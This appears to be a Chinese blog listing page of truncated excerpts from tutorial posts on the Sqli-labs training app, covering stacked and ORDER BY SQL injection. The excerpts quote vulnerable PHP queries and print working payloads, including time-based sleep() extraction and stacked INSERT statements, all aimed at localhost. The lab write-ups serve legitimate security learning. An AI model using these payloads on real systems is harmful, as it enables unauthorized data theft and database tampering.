Sqli-labs Less-49 order by后的注入

    本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入和导入文件进行注入。   利用延时注入 http://127.0.0.1/sql/Less-49/?sort=1′ and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))–+ 延时效果图就不贴图展示了,可以构造substr的第一个参数进行后续注入。   或者利用into outfile进行注入http://127.0.0.1/sql/Less-4...阅读全文
    作者:绝缘体.. | 分类:PHP, 编程语言 | 阅读: | 标签:, , , ,

    Sqli-labs Less-47 order by后的注入

    本关的sql语句为 $sql = "SELECT * FROM users ORDER BY '$id'"; 将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。 1、order by后的参数 我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。 ① and rand相结合的方式,payload: http://127.0.0.1/sql/Less-47/?sort=1′ and rand(ascii(left(database(),1))=115)–+ 换成116...阅读全文
    作者:绝缘体.. | 分类:html, MySQL, PHP, 数据库, 编程语言 | 阅读: | 标签:, , , ,

    Sqli-labs Less-43 堆叠注入

    本关与42关的原理基本一致,我们还是定位在login.php中的password。关键代码: $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"; 登录:username:admin Password:c’);insert into users(id,username,password) values(R...阅读全文
    作者:绝缘体.. | 分类:MySQL, PHP, 数据库, 编程语言 | 阅读: | 标签:, , , ,

    Sqli-labs Less-42 堆叠注入

    pass_change.php关键代码 $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; pdate更新数据后,经过mysq...阅读全文
    作者:绝缘体.. | 分类:MySQL, PHP, 数据库, 编程语言 | 阅读: | 标签:, , , ,

    Sqli-labs Less-39 堆叠注入

    和less-38的区别在于sql语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1 也就是数字型注入,我们可以构造以下的payload: http://127.0.0.1/sql/Less-39/index.php?id=1;insert into users(id,username,password) values (’39’,’less39′,’hello’)–+ 通过数据表中可以看到添加的less-39项。 阅读全文
    作者:绝缘体.. | 分类:PHP, 编程语言 | 阅读: | 标签:, , , ,

    Sqli-labs Less-38 堆叠注入

    学习了关于stacked injection的相关知识,我们在本关可以得到直接的运用。 在执行select时的sql语句为:SELECT * FROM users WHERE id=’$id’ LIMIT 0,1 可以直接构造如下的payload: http://127.0.0.1/sql/Less-38/index.php?id=1′;insert into users(id,username,password) values (’38’,’less38′,’hello’)–+ 再看数据表中...阅读全文
    作者:绝缘体.. | 分类:html, PHP, 编程语言 | 阅读: | 标签:, , , ,

    Sqli-labs Background-8 堆叠注入

    Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。 0x01 原理介绍 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语...阅读全文
    作者:绝缘体.. | 分类:html, MySQL, PHP, 数据库, 编程语言 | 阅读: | 标签:, , , ,